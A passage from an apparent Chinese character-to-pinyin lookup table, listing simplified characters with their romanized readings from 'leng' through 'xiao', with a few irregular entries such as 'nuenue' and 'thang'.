eng;愣,leng;厘,li;梨,li;犁,li;黎,li;篱,li;狸,li;离,li;漓,li;理,li;李,li;里,li;鲤,li;礼,li;莉,li;荔,li;吏,li;栗,li;丽,li;厉,li;励,li;砾,li;历,li;利,li;傈,li;例,li;俐,li;痢,li;立,li;粒,li;沥,li;隶,li;力,li;璃,li;哩,li;俪,li;俚,li;郦,li;坜,li;苈,li;莅,li;蓠,li;藜,li;捩,li;呖,li;唳,li;喱,li;猁,li;溧,li;澧,li;逦,li;娌,li;嫠,li;骊,li;缡,li;珞,li;枥,li;栎,li;轹,li;戾,li;砺,li;詈,li;罹,li;锂,li;鹂,li;疠,li;疬,li;蛎,li;蜊,li;蠡,li;笠,li;篥,li;粝,li;醴,li;跞,li;雳,li;鲡,li;鳢,li;黧,li;俩,lian;联,lian;莲,lian;连,lian;镰,lian;廉,lian;怜,lian;涟,lian;帘,lian;敛,lian;脸,lian;链,lian;恋,lian;炼,lian;练,lian;挛,lian;蔹,lian;奁,lian;潋,lian;濂,lian;娈,lian;琏,lian;楝,lian;殓,lian;臁,lian;膦,lian;裢,lian;蠊,lian;鲢,lian;粮,liang;凉,liang;梁,liang;粱,liang;良,liang;两,liang;辆,liang;量,liang;晾,liang;亮,liang;谅,liang;墚,liang;椋,liang;踉,liang;靓,liang;魉,liang;撩,liao;聊,liao;僚,liao;疗,liao;燎,liao;寥,liao;辽,liao;潦,liao;了,liao;撂,liao;镣,liao;廖,liao;料,liao;蓼,liao;尥,liao;嘹,liao;獠,liao;寮,liao;缭,liao;钌,liao;鹩,liao;耢,liao;列,lie;裂,lie;烈,lie;劣,lie;猎,lie;冽,lie;埒,lie;洌,lie;趔,lie;躐,lie;鬣,lie;琳,lin;林,lin;磷,lin;霖,lin;临,lin;邻,lin;鳞,lin;淋,lin;凛,lin;赁,lin;吝,lin;蔺,lin;嶙,lin;廪,lin;遴,lin;檩,lin;辚,lin;瞵,lin;粼,lin;躏,lin;麟,lin;溜,liu;琉,liu;榴,liu;硫,liu;馏,liu;留,liu;刘,liu;瘤,liu;流,liu;柳,liu;六,liu;抡,liu;偻,liu;蒌,liu;泖,liu;浏,liu;遛,liu;骝,liu;绺,liu;旒,liu;熘,liu;锍,liu;镏,liu;鹨,liu;鎏,liu;龙,long;聋,long;咙,long;笼,long;窿,long;隆,long;垄,long;拢,long;陇,long;弄,long;垅,long;茏,long;泷,long;珑,long;栊,long;胧,long;砻,long;癃,long;楼,lou;娄,lou;搂,lou;篓,lou;漏,lou;陋,lou;喽,lou;嵝,lou;镂,lou;瘘,lou;耧,lou;蝼,lou;髅,lou;芦,lu;卢,lu;颅,lu;庐,lu;炉,lu;掳,lu;卤,lu;虏,lu;鲁,lu;麓,lu;碌,lu;露,lu;路,lu;赂,lu;鹿,lu;潞,lu;禄,lu;录,lu;陆,lu;戮,lu;垆,lu;摅,lu;撸,lu;噜,lu;泸,lu;渌,lu;漉,lu;璐,lu;栌,lu;橹,lu;轳,lu;辂,lu;辘,lu;氇,lu;胪,lu;镥,lu;鸬,lu;鹭,lu;簏,lu;舻,lu;鲈,lu;驴,lv;吕,lv;铝,lv;侣,lv;旅,lv;履,lv;屡,lv;缕,lv;虑,lv;氯,lv;律,lv;率,lv;滤,lv;绿,lv;捋,lv;闾,lv;榈,lv;膂,lv;稆,lv;褛,lv;峦,luan;孪,luan;滦,luan;卵,luan;乱,luan;栾,luan;鸾,luan;銮,luan;掠,lue;略,lue;锊,lue;轮,lun;伦,lun;仑,lun;沦,lun;纶,lun;论,lun;囵,lun;萝,luo;螺,luo;罗,luo;逻,luo;锣,luo;箩,luo;骡,luo;裸,luo;落,luo;洛,luo;骆,luo;络,luo;倮,luo;荦,luo;摞,luo;猡,luo;泺,luo;椤,luo;脶,luo;镙,luo;瘰,luo;雒,luo;妈,ma;麻,ma;玛,ma;码,ma;蚂,ma;马,ma;骂,ma;嘛,ma;吗,ma;唛,ma;犸,ma;嬷,ma;杩,ma;麽,ma;埋,mai;买,mai;麦,mai;卖,mai;迈,mai;脉,mai;劢,mai;荬,mai;咪,mai;霾,mai;瞒,man;馒,man;蛮,man;满,man;蔓,man;曼,man;慢,man;漫,man;谩,man;墁,man;幔,man;缦,man;熳,man;镘,man;颟,man;螨,man;鳗,man;鞔,man;芒,mang;茫,mang;盲,mang;忙,mang;莽,mang;邙,mang;漭,mang;朦,mang;硭,mang;蟒,mang;氓,meng;萌,meng;蒙,meng;檬,meng;盟,meng;锰,meng;猛,meng;梦,meng;孟,meng;勐,meng;甍,meng;瞢,meng;懵,meng;礞,meng;虻,meng;蜢,meng;蠓,meng;艋,meng;艨,meng;黾,meng;猫,miao;苗,miao;描,miao;瞄,miao;藐,miao;秒,miao;渺,miao;庙,miao;妙,miao;喵,miao;邈,miao;缈,miao;缪,miao;杪,miao;淼,miao;眇,miao;鹋,miao;蜱,miao;茅,mao;锚,mao;毛,mao;矛,mao;铆,mao;卯,mao;茂,mao;冒,mao;帽,mao;貌,mao;贸,mao;侔,mao;袤,mao;勖,mao;茆,mao;峁,mao;瑁,mao;昴,mao;牦,mao;耄,mao;旄,mao;懋,mao;瞀,mao;蛑,mao;蝥,mao;蟊,mao;髦,mao;么,me;玫,mei;枚,mei;梅,mei;酶,mei;霉,mei;煤,mei;没,mei;眉,mei;媒,mei;镁,mei;每,mei;美,mei;昧,mei;寐,mei;妹,mei;媚,mei;坶,mei;莓,mei;嵋,mei;猸,mei;浼,mei;湄,mei;楣,mei;镅,mei;鹛,mei;袂,mei;魅,mei;门,men;闷,men;们,men;扪,men;玟,men;焖,men;懑,men;钔,men;眯,mi;醚,mi;靡,mi;糜,mi;迷,mi;谜,mi;弥,mi;米,mi;秘,mi;觅,mi;泌,mi;蜜,mi;密,mi;幂,mi;芈,mi;冖,mi;谧,mi;蘼,mi;嘧,mi;猕,mi;獯,mi;汨,mi;宓,mi;弭,mi;脒,mi;敉,mi;糸,mi;縻,mi;麋,mi;棉,mian;眠,mian;绵,mian;冕,mian;免,mian;勉,mian;娩,mian;缅,mian;面,mian;沔,mian;湎,mian;腼,mian;眄,mian;蔑,mie;灭,mie;咩,mie;蠛,mie;篾,mie;民,min;抿,min;皿,min;敏,min;悯,min;闽,min;苠,min;岷,min;闵,min;泯,min;珉,min;明,ming;螟,ming;鸣,ming;铭,ming;名,ming;命,ming;冥,ming;茗,ming;溟,ming;暝,ming;瞑,ming;酩,ming;谬,miu;摸,mo;摹,mo;蘑,mo;模,mo;膜,mo;磨,mo;摩,mo;魔,mo;抹,mo;末,mo;莫,mo;墨,mo;默,mo;沫,mo;漠,mo;寞,mo;陌,mo;谟,mo;茉,mo;蓦,mo;馍,mo;嫫,mo;镆,mo;秣,mo;瘼,mo;耱,mo;蟆,mo;貊,mo;貘,mo;谋,mou;牟,mou;某,mou;厶,mou;哞,mou;婺,mou;眸,mou;鍪,mou;拇,mu;牡,mu;亩,mu;姆,mu;母,mu;墓,mu;暮,mu;幕,mu;募,mu;慕,mu;木,mu;目,mu;睦,mu;牧,mu;穆,mu;仫,mu;苜,mu;呒,mu;沐,mu;毪,mu;钼,mu;拿,na;哪,na;呐,na;钠,na;那,na;娜,na;纳,na;内,na;捺,na;肭,na;镎,na;衲,na;箬,na;氖,nai;乃,nai;奶,nai;耐,nai;奈,nai;鼐,nai;艿,nai;萘,nai;柰,nai;南,nan;男,nan;难,nan;囊,nan;喃,nan;囡,nan;楠,nan;腩,nan;蝻,nan;赧,nan;挠,nao;脑,nao;恼,nao;闹,nao;孬,nao;垴,nao;猱,nao;瑙,nao;硇,nao;铙,nao;蛲,nao;淖,ne;呢,ne;讷,ne;馁,nei;嫩,nen;能,nen;枘,nen;恁,nen;妮,ni;霓,ni;倪,ni;泥,ni;尼,ni;拟,ni;你,ni;匿,ni;腻,ni;逆,ni;溺,ni;伲,ni;坭,ni;猊,ni;怩,ni;滠,ni;昵,ni;旎,ni;祢,ni;慝,ni;睨,ni;铌,ni;鲵,ni;蔫,nian;拈,nian;年,nian;碾,nian;撵,nian;捻,nian;念,nian;廿,nian;辇,nian;黏,nian;鲇,nian;鲶,nian;娘,niang;酿,niang;鸟,niao;尿,niao;茑,niao;嬲,niao;脲,niao;袅,niao;捏,nie;聂,nie;孽,nie;啮,nie;镊,nie;镍,nie;涅,nie;乜,nie;陧,nie;蘖,nie;嗫,nie;肀,nie;颞,nie;臬,nie;蹑,nie;您,nin;柠,nin;狞,ning;凝,ning;宁,ning;拧,ning;泞,ning;佞,ning;蓥,ning;咛,ning;甯,ning;聍,ning;牛,niu;扭,niu;钮,niu;纽,niu;狃,niu;忸,niu;妞,niu;蚴,niu;脓,nong;浓,nong;农,nong;侬,nong;奴,nu;努,nu;怒,nu;呶,nu;帑,nu;弩,nu;胬,nu;孥,nu;驽,nu;女,nv;恧,nv;钕,nv;衄,nv;暖,nuan;虐,nuenue;疟,nue;谑,nue;挪,nuo;懦,nuo;糯,nuo;诺,nuo;傩,nuo;搦,nuo;喏,nuo;锘,nuo;哦,ou;欧,ou;鸥,ou;殴,ou;藕,ou;呕,ou;偶,ou;沤,ou;怄,ou;瓯,ou;耦,ou;啪,pa;趴,pa;爬,pa;帕,pa;怕,pa;琶,pa;葩,pa;筢,pa;拍,pai;排,pai;牌,pai;徘,pai;湃,pai;派,pai;俳,pai;蒎,pai;攀,pan;潘,pan;盘,pan;磐,pan;盼,pan;畔,pan;判,pan;叛,pan;爿,pan;泮,pan;袢,pan;襻,pan;蟠,pan;蹒,pan;乓,pang;庞,pang;旁,pang;耪,pang;胖,pang;滂,pang;逄,pang;抛,pao;咆,pao;刨,pao;炮,pao;袍,pao;跑,pao;泡,pao;匏,pao;狍,pao;庖,pao;脬,pao;疱,pao;呸,pei;胚,pei;培,pei;裴,pei;赔,pei;陪,pei;配,pei;佩,pei;沛,pei;掊,pei;辔,pei;帔,pei;淠,pei;旆,pei;锫,pei;醅,pei;霈,pei;喷,pen;盆,pen;湓,pen;砰,peng;抨,peng;烹,peng;澎,peng;彭,peng;蓬,peng;棚,peng;硼,peng;篷,peng;膨,peng;朋,peng;鹏,peng;捧,peng;碰,peng;坯,peng;堋,peng;嘭,peng;怦,peng;蟛,peng;砒,pi;霹,pi;批,pi;披,pi;劈,pi;琵,pi;毗,pi;啤,pi;脾,pi;疲,pi;皮,pi;匹,pi;痞,pi;僻,pi;屁,pi;譬,pi;丕,pi;陴,pi;邳,pi;郫,pi;圮,pi;鼙,pi;擗,pi;噼,pi;庀,pi;媲,pi;纰,pi;枇,pi;甓,pi;睥,pi;罴,pi;铍,pi;痦,pi;癖,pi;疋,pi;蚍,pi;貔,pi;篇,pian;偏,pian;片,pian;骗,pian;谝,pian;骈,pian;犏,pian;胼,pian;褊,pian;翩,pian;蹁,pian;飘,piao;漂,piao;瓢,piao;票,piao;剽,piao;嘌,piao;嫖,piao;缥,piao;殍,piao;瞟,piao;螵,piao;撇,pie;瞥,pie;丿,pie;苤,pie;氕,pie;拼,pin;频,pin;贫,pin;品,pin;聘,pin;拚,pin;姘,pin;嫔,pin;榀,pin;牝,pin;颦,pin;乒,ping;坪,ping;苹,ping;萍,ping;平,ping;凭,ping;瓶,ping;评,ping;屏,ping;俜,ping;娉,ping;枰,ping;鲆,ping;坡,po;泼,po;颇,po;婆,po;破,po;魄,po;迫,po;粕,po;叵,po;鄱,po;溥,po;珀,po;钋,po;钷,po;皤,po;笸,po;剖,pou;裒,pou;踣,pou;扑,pu;铺,pu;仆,pu;莆,pu;葡,pu;菩,pu;蒲,pu;埔,pu;朴,pu;圃,pu;普,pu;浦,pu;谱,pu;曝,pu;瀑,pu;匍,pu;噗,pu;濮,pu;璞,pu;氆,pu;镤,pu;镨,pu;蹼,pu;期,qi;欺,qi;栖,qi;戚,qi;妻,qi;七,qi;凄,qi;漆,qi;柒,qi;沏,qi;其,qi;棋,qi;奇,qi;歧,qi;畦,qi;崎,qi;脐,qi;齐,qi;旗,qi;祈,qi;祁,qi;骑,qi;起,qi;岂,qi;乞,qi;企,qi;启,qi;契,qi;砌,qi;器,qi;气,qi;迄,qi;弃,qi;汽,qi;泣,qi;讫,qi;亟,qi;亓,qi;圻,qi;芑,qi;萋,qi;葺,qi;嘁,qi;屺,qi;岐,qi;汔,qi;淇,qi;骐,qi;绮,qi;琪,qi;琦,qi;杞,qi;桤,qi;槭,qi;欹,qi;祺,qi;憩,qi;碛,qi;蛴,qi;蜞,qi;綦,qi;綮,qi;趿,qi;蹊,qi;鳍,qi;麒,qi;掐,qia;恰,qia;洽,qia;葜,qia;牵,qian;扦,qian;钎,qian;铅,qian;千,qian;迁,qian;签,qian;仟,qian;谦,qian;乾,qian;黔,qian;钱,qian;钳,qian;前,qian;潜,qian;遣,qian;浅,qian;谴,qian;堑,qian;嵌,qian;欠,qian;歉,qian;佥,qian;阡,qian;芊,qian;芡,qian;荨,qian;掮,qian;岍,qian;悭,qian;慊,qian;骞,qian;搴,qian;褰,qian;缱,qian;椠,qian;肷,qian;愆,qian;钤,qian;虔,qian;箝,qian;枪,qiang;呛,qiang;腔,qiang;羌,qiang;墙,qiang;蔷,qiang;强,qiang;抢,qiang;嫱,qiang;樯,qiang;戗,qiang;炝,qiang;锖,qiang;锵,qiang;镪,qiang;襁,qiang;蜣,qiang;羟,qiang;跫,qiang;跄,qiang;橇,qiao;锹,qiao;敲,qiao;悄,qiao;桥,qiao;瞧,qiao;乔,qiao;侨,qiao;巧,qiao;鞘,qiao;撬,qiao;翘,qiao;峭,qiao;俏,qiao;窍,qiao;劁,qiao;诮,qiao;谯,qiao;荞,qiao;愀,qiao;憔,qiao;缲,qiao;樵,qiao;毳,qiao;硗,qiao;跷,qiao;鞒,qiao;切,qie;茄,qie;且,qie;怯,qie;窃,qie;郄,qie;唼,qie;惬,qie;妾,qie;挈,qie;锲,qie;箧,qie;钦,qin;侵,qin;亲,qin;秦,qin;琴,qin;勤,qin;芹,qin;擒,qin;禽,qin;寝,qin;沁,qin;芩,qin;蓁,qin;蕲,qin;揿,qin;吣,qin;嗪,qin;噙,qin;溱,qin;檎,qin;螓,qin;衾,qin;青,qing;轻,qing;氢,qing;倾,qing;卿,qing;清,qing;擎,qing;晴,qing;氰,qing;情,qing;顷,qing;请,qing;庆,qing;倩,qing;苘,qing;圊,qing;檠,qing;磬,qing;蜻,qing;罄,qing;箐,qing;謦,qing;鲭,qing;黥,qing;琼,qiong;穷,qiong;邛,qiong;茕,qiong;穹,qiong;筇,qiong;銎,qiong;秋,qiu;丘,qiu;邱,qiu;球,qiu;求,qiu;囚,qiu;酋,qiu;泅,qiu;俅,qiu;氽,qiu;巯,qiu;艽,qiu;犰,qiu;湫,qiu;逑,qiu;遒,qiu;楸,qiu;赇,qiu;鸠,qiu;虬,qiu;蚯,qiu;蝤,qiu;裘,qiu;糗,qiu;鳅,qiu;鼽,qiu;趋,qu;区,qu;蛆,qu;曲,qu;躯,qu;屈,qu;驱,qu;渠,qu;取,qu;娶,qu;龋,qu;趣,qu;去,qu;诎,qu;劬,qu;蕖,qu;蘧,qu;岖,qu;衢,qu;阒,qu;璩,qu;觑,qu;氍,qu;祛,qu;磲,qu;癯,qu;蛐,qu;蠼,qu;麴,qu;瞿,qu;黢,qu;圈,quan;颧,quan;权,quan;醛,quan;泉,quan;全,quan;痊,quan;拳,quan;犬,quan;券,quan;劝,quan;诠,quan;荃,quan;獾,quan;悛,quan;绻,quan;辁,quan;畎,quan;铨,quan;蜷,quan;筌,quan;鬈,quan;缺,que;炔,que;瘸,que;却,que;鹊,que;榷,que;确,que;雀,que;阙,que;悫,que;裙,qun;群,qun;逡,qun;然,ran;燃,ran;冉,ran;染,ran;苒,ran;髯,ran;瓤,rang;壤,rang;攘,rang;嚷,rang;让,rang;禳,rang;穰,rang;饶,rao;扰,rao;绕,rao;荛,rao;娆,rao;桡,rao;惹,ruo;若,ruo;弱,ruo;热,re;偌,re;壬,ren;仁,ren;人,ren;忍,ren;韧,ren;任,ren;认,ren;刃,ren;妊,ren;纫,ren;仞,ren;荏,ren;葚,ren;饪,ren;轫,ren;稔,ren;衽,ren;扔,reng;仍,reng;日,ri;戎,rong;茸,rong;蓉,rong;荣,rong;融,rong;熔,rong;溶,rong;容,rong;绒,rong;冗,rong;嵘,rong;狨,rong;缛,rong;榕,rong;蝾,rong;揉,rou;柔,rou;肉,rou;糅,rou;蹂,rou;鞣,rou;茹,ru;蠕,ru;儒,ru;孺,ru;如,ru;辱,ru;乳,ru;汝,ru;入,ru;褥,ru;蓐,ru;薷,ru;嚅,ru;洳,ru;溽,ru;濡,ru;铷,ru;襦,ru;颥,ru;软,ruan;阮,ruan;朊,ruan;蕊,rui;瑞,rui;锐,rui;芮,rui;蕤,rui;睿,rui;蚋,rui;闰,run;润,run;撒,sa;洒,sa;萨,sa;卅,sa;仨,sa;挲,sa;飒,sa;腮,sai;鳃,sai;塞,sai;赛,sai;噻,sai;三,san;叁,san;伞,san;散,san;彡,san;馓,san;氵,san;毵,san;糁,san;霰,san;桑,sang;嗓,sang;丧,sang;搡,sang;磉,sang;颡,sang;搔,sao;骚,sao;扫,sao;嫂,sao;埽,sao;臊,sao;瘙,sao;鳋,sao;瑟,se;色,se;涩,se;啬,se;铩,se;铯,se;穑,se;森,sen;僧,seng;莎,sha;砂,sha;杀,sha;刹,sha;沙,sha;纱,sha;傻,sha;啥,sha;煞,sha;脎,sha;歃,sha;痧,sha;裟,sha;霎,sha;鲨,sha;筛,shai;晒,shai;酾,shai;珊,shan;苫,shan;杉,shan;山,shan;删,shan;煽,shan;衫,shan;闪,shan;陕,shan;擅,shan;赡,shan;膳,shan;善,shan;汕,shan;扇,shan;缮,shan;剡,shan;讪,shan;鄯,shan;埏,shan;芟,shan;潸,shan;姗,shan;骟,shan;膻,shan;钐,shan;疝,shan;蟮,shan;舢,shan;跚,shan;鳝,shan;墒,shang;伤,shang;商,shang;赏,shang;晌,shang;上,shang;尚,shang;裳,shang;垧,shang;绱,shang;殇,shang;熵,shang;觞,shang;梢,shao;捎,shao;稍,shao;烧,shao;芍,shao;勺,shao;韶,shao;少,shao;哨,shao;邵,shao;绍,shao;劭,shao;苕,shao;潲,shao;蛸,shao;笤,shao;筲,shao;艄,shao;奢,she;赊,she;蛇,she;舌,she;舍,she;赦,she;摄,she;射,she;慑,she;涉,she;社,she;设,she;厍,she;佘,she;猞,she;畲,she;麝,she;砷,shen;申,shen;呻,shen;伸,shen;身,shen;深,shen;娠,shen;绅,shen;神,shen;沈,shen;审,shen;婶,shen;甚,shen;肾,shen;慎,shen;渗,shen;诜,shen;谂,shen;吲,shen;哂,shen;渖,shen;椹,shen;矧,shen;蜃,shen;声,sheng;生,sheng;甥,sheng;牲,sheng;升,sheng;绳,sheng;省,sheng;盛,sheng;剩,sheng;胜,sheng;圣,sheng;丞,sheng;渑,sheng;媵,sheng;眚,sheng;笙,sheng;师,shi;失,shi;狮,shi;施,shi;湿,shi;诗,shi;尸,shi;虱,shi;十,shi;石,shi;拾,shi;时,shi;什,shi;食,shi;蚀,shi;实,shi;识,shi;史,shi;矢,shi;使,shi;屎,shi;驶,shi;始,shi;式,shi;示,shi;士,shi;世,shi;柿,shi;事,shi;拭,shi;誓,shi;逝,shi;势,shi;是,shi;嗜,shi;噬,shi;适,shi;仕,shi;侍,shi;释,shi;饰,shi;氏,shi;市,shi;恃,shi;室,shi;视,shi;试,shi;谥,shi;埘,shi;莳,shi;蓍,shi;弑,shi;唑,shi;饣,shi;轼,shi;耆,shi;贳,shi;炻,shi;礻,shi;铈,shi;铊,shi;螫,shi;舐,shi;筮,shi;豕,shi;鲥,shi;鲺,shi;收,shou;手,shou;首,shou;守,shou;寿,shou;授,shou;售,shou;受,shou;瘦,shou;兽,shou;扌,shou;狩,shou;绶,shou;艏,shou;蔬,shu;枢,shu;梳,shu;殊,shu;抒,shu;输,shu;叔,shu;舒,shu;淑,shu;疏,shu;书,shu;赎,shu;孰,shu;熟,shu;薯,shu;暑,shu;曙,shu;署,shu;蜀,shu;黍,shu;鼠,shu;属,shu;术,shu;述,shu;树,shu;束,shu;戍,shu;竖,shu;墅,shu;庶,shu;数,shu;漱,shu;恕,shu;倏,shu;塾,shu;菽,shu;忄,shu;沭,shu;涑,shu;澍,shu;姝,shu;纾,shu;毹,shu;腧,shu;殳,shu;镯,shu;秫,shu;鹬,shu;刷,shua;耍,shua;唰,shua;涮,shua;摔,shuai;衰,shuai;甩,shuai;帅,shuai;蟀,shuai;栓,shuan;拴,shuan;闩,shuan;霜,shuang;双,shuang;爽,shuang;孀,shuang;谁,shui;水,shui;睡,shui;税,shui;吮,shun;瞬,shun;顺,shun;舜,shun;恂,shun;说,shuo;硕,shuo;朔,shuo;烁,shuo;蒴,shuo;搠,shuo;嗍,shuo;濯,shuo;妁,shuo;槊,shuo;铄,shuo;斯,si;撕,si;嘶,si;思,si;私,si;司,si;丝,si;死,si;肆,si;寺,si;嗣,si;四,si;伺,si;似,si;饲,si;巳,si;厮,si;俟,si;兕,si;菥,si;咝,si;汜,si;泗,si;澌,si;姒,si;驷,si;缌,si;祀,si;祠,si;锶,si;鸶,si;耜,si;蛳,si;笥,si;松,song;耸,song;怂,song;颂,song;送,song;宋,song;讼,song;诵,song;凇,song;菘,song;崧,song;嵩,song;忪,song;悚,song;淞,song;竦,song;搜,sou;艘,sou;擞,sou;嗽,sou;叟,sou;嗖,sou;嗾,sou;馊,sou;溲,sou;飕,sou;瞍,sou;锼,sou;螋,sou;苏,su;酥,su;俗,su;素,su;速,su;粟,su;僳,su;塑,su;溯,su;宿,su;诉,su;肃,su;夙,su;谡,su;蔌,su;嗉,su;愫,su;簌,su;觫,su;稣,su;酸,suan;蒜,suan;算,suan;虽,sui;隋,sui;随,sui;绥,sui;髓,sui;碎,sui;岁,sui;穗,sui;遂,sui;隧,sui;祟,sui;蓑,sui;冫,sui;谇,sui;濉,sui;邃,sui;燧,sui;眭,sui;睢,sui;孙,sun;损,sun;笋,sun;荪,sun;狲,sun;飧,sun;榫,sun;跣,sun;隼,sun;梭,suo;唆,suo;缩,suo;琐,suo;索,suo;锁,suo;所,suo;唢,suo;嗦,suo;娑,suo;桫,suo;睃,suo;羧,suo;塌,ta;他,ta;它,ta;她,ta;塔,ta;獭,ta;挞,ta;蹋,ta;踏,ta;闼,ta;溻,ta;遢,ta;榻,ta;沓,ta;胎,tai;苔,tai;抬,tai;台,tai;泰,tai;酞,tai;太,tai;态,tai;汰,tai;邰,tai;薹,tai;肽,tai;炱,tai;钛,tai;跆,tai;鲐,tai;坍,tan;摊,tan;贪,tan;瘫,tan;滩,tan;坛,tan;檀,tan;痰,tan;潭,tan;谭,tan;谈,tan;坦,tan;毯,tan;袒,tan;碳,tan;探,tan;叹,tan;炭,tan;郯,tan;蕈,tan;昙,tan;钽,tan;锬,tan;覃,tan;汤,tang;塘,tang;搪,tang;堂,tang;棠,tang;膛,tang;唐,tang;糖,tang;傥,tang;饧,tang;溏,tang;瑭,tang;铴,tang;镗,tang;耥,tang;螗,tang;螳,tang;羰,tang;醣,tang;倘,thang;躺,thang;淌,thang;趟,theng;烫,theng;掏,tao;涛,tao;滔,tao;绦,tao;萄,tao;桃,tao;逃,tao;淘,tao;陶,tao;讨,tao;套,tao;挑,tao;鼗,tao;啕,tao;韬,tao;饕,tao;特,te;藤,teng;腾,teng;疼,teng;誊,teng;滕,teng;梯,ti;剔,ti;踢,ti;锑,ti;提,ti;题,ti;蹄,ti;啼,ti;体,ti;替,ti;嚏,ti;惕,ti;涕,ti;剃,ti;屉,ti;荑,ti;悌,ti;逖,ti;绨,ti;缇,ti;鹈,ti;裼,ti;醍,ti;天,tian;添,tian;填,tian;田,tian;甜,tian;恬,tian;舔,tian;腆,tian;掭,tian;忝,tian;阗,tian;殄,tian;畋,tian;钿,tian;蚺,tian;条,tiao;迢,tiao;眺,tiao;跳,tiao;佻,tiao;祧,tiao;铫,tiao;窕,tiao;龆,tiao;鲦,tiao;贴,tie;铁,tie;帖,tie;萜,tie;餮,tie;厅,ting;听,ting;烃,ting;汀,ting;廷,ting;停,ting;亭,ting;庭,ting;挺,ting;艇,ting;莛,ting;葶,ting;婷,ting;梃,ting;蜓,ting;霆,ting;通,tong;桐,tong;酮,tong;瞳,tong;同,tong;铜,tong;彤,tong;童,tong;桶,tong;捅,tong;筒,tong;统,tong;痛,tong;佟,tong;僮,tong;仝,tong;茼,tong;嗵,tong;恸,tong;潼,tong;砼,tong;偷,tou;投,tou;头,tou;透,tou;亠,tou;凸,tu;秃,tu;突,tu;图,tu;徒,tu;途,tu;涂,tu;屠,tu;土,tu;吐,tu;兔,tu;堍,tu;荼,tu;菟,tu;钍,tu;酴,tu;湍,tuan;团,tuan;疃,tuan;推,tui;颓,tui;腿,tui;蜕,tui;褪,tui;退,tui;忒,tui;煺,tui;吞,tun;屯,tun;臀,tun;饨,tun;暾,tun;豚,tun;窀,tun;拖,tuo;托,tuo;脱,tuo;鸵,tuo;陀,tuo;驮,tuo;驼,tuo;椭,tuo;妥,tuo;拓,tuo;唾,tuo;乇,tuo;佗,tuo;坨,tuo;庹,tuo;沱,tuo;柝,tuo;砣,tuo;箨,tuo;舄,tuo;跎,tuo;鼍,tuo;挖,wa;哇,wa;蛙,wa;洼,wa;娃,wa;瓦,wa;袜,wa;佤,wa;娲,wa;腽,wa;歪,wai;外,wai;豌,wan;弯,wan;湾,wan;玩,wan;顽,wan;丸,wan;烷,wan;完,wan;碗,wan;挽,wan;晚,wan;皖,wan;惋,wan;宛,wan;婉,wan;万,wan;腕,wan;剜,wan;芄,wan;苋,wan;菀,wan;纨,wan;绾,wan;琬,wan;脘,wan;畹,wan;蜿,wan;箢,wan;汪,wang;王,wang;亡,wang;枉,wang;网,wang;往,wang;旺,wang;望,wang;忘,wang;妄,wang;罔,wang;尢,wang;惘,wang;辋,wang;魍,wang;威,wei;巍,wei;微,wei;危,wei;韦,wei;违,wei;桅,wei;围,wei;唯,wei;惟,wei;为,wei;潍,wei;维,wei;苇,wei;萎,wei;委,wei;伟,wei;伪,wei;尾,wei;纬,wei;未,wei;蔚,wei;味,wei;畏,wei;胃,wei;喂,wei;魏,wei;位,wei;渭,wei;谓,wei;尉,wei;慰,wei;卫,wei;倭,wei;偎,wei;诿,wei;隈,wei;葳,wei;薇,wei;帏,wei;帷,wei;崴,wei;嵬,wei;猥,wei;猬,wei;闱,wei;沩,wei;洧,wei;涠,wei;逶,wei;娓,wei;玮,wei;韪,wei;軎,wei;炜,wei;煨,wei;熨,wei;痿,wei;艉,wei;鲔,wei;瘟,wen;温,wen;蚊,wen;文,wen;闻,wen;纹,wen;吻,wen;稳,wen;紊,wen;问,wen;刎,wen;愠,wen;阌,wen;汶,wen;璺,wen;韫,wen;殁,wen;雯,wen;嗡,weng;翁,weng;瓮,weng;蓊,weng;蕹,weng;挝,wo;蜗,wo;涡,wo;窝,wo;我,wo;斡,wo;卧,wo;握,wo;沃,wo;莴,wo;幄,wo;渥,wo;杌,wo;肟,wo;龌,wo;巫,wu;呜,wu;钨,wu;乌,wu;污,wu;诬,wu;屋,wu;无,wu;芜,wu;梧,wu;吾,wu;吴,wu;毋,wu;武,wu;五,wu;捂,wu;午,wu;舞,wu;伍,wu;侮,wu;坞,wu;戊,wu;雾,wu;晤,wu;物,wu;勿,wu;务,wu;悟,wu;误,wu;兀,wu;仵,wu;阢,wu;邬,wu;圬,wu;芴,wu;庑,wu;怃,wu;忤,wu;浯,wu;寤,wu;迕,wu;妩,wu;骛,wu;牾,wu;焐,wu;鹉,wu;鹜,wu;蜈,wu;鋈,wu;鼯,wu;昔,xi;熙,xi;析,xi;西,xi;硒,xi;矽,xi;晰,xi;嘻,xi;吸,xi;锡,xi;牺,xi;稀,xi;息,xi;希,xi;悉,xi;膝,xi;夕,xi;惜,xi;熄,xi;烯,xi;溪,xi;汐,xi;犀,xi;檄,xi;袭,xi;席,xi;习,xi;媳,xi;喜,xi;铣,xi;洗,xi;系,xi;隙,xi;戏,xi;细,xi;僖,xi;兮,xi;隰,xi;郗,xi;茜,xi;葸,xi;蓰,xi;奚,xi;唏,xi;徙,xi;饩,xi;阋,xi;浠,xi;淅,xi;屣,xi;嬉,xi;玺,xi;樨,xi;曦,xi;觋,xi;欷,xi;熹,xi;禊,xi;禧,xi;钸,xi;皙,xi;穸,xi;蜥,xi;蟋,xi;舾,xi;羲,xi;粞,xi;翕,xi;醯,xi;鼷,xi;瞎,xia;虾,xia;匣,xia;霞,xia;辖,xia;暇,xia;峡,xia;侠,xia;狭,xia;下,xia;厦,xia;夏,xia;吓,xia;掀,xia;葭,xia;嗄,xia;狎,xia;遐,xia;瑕,xia;硖,xia;瘕,xia;罅,xia;黠,xia;锨,xian;先,xian;仙,xian;鲜,xian;纤,xian;咸,xian;贤,xian;衔,xian;舷,xian;闲,xian;涎,xian;弦,xian;嫌,xian;显,xian;险,xian;现,xian;献,xian;县,xian;腺,xian;馅,xian;羡,xian;宪,xian;陷,xian;限,xian;线,xian;冼,xian;藓,xian;岘,xian;猃,xian;暹,xian;娴,xian;氙,xian;祆,xian;鹇,xian;痫,xian;蚬,xian;筅,xian;籼,xian;酰,xian;跹,xian;相,xiang;厢,xiang;镶,xiang;香,xiang;箱,xiang;襄,xiang;湘,xiang;乡,xiang;翔,xiang;祥,xiang;详,xiang;想,xiang;响,xiang;享,xiang;项,xiang;巷,xiang;橡,xiang;像,xiang;向,xiang;象,xiang;芗,xiang;葙,xiang;饷,xiang;庠,xiang;骧,xiang;缃,xiang;蟓,xiang;鲞,xiang;飨,xiang;萧,xiao;硝,xiao;霄,xiao;削,xiao;哮,xiao;嚣,xiao;销,xiao;消,xiao;宵,xiao;淆,xiao;晓,xiao;小,xiao;孝,xiao;校,xiao;肖,xiao;啸,xiao;笑,x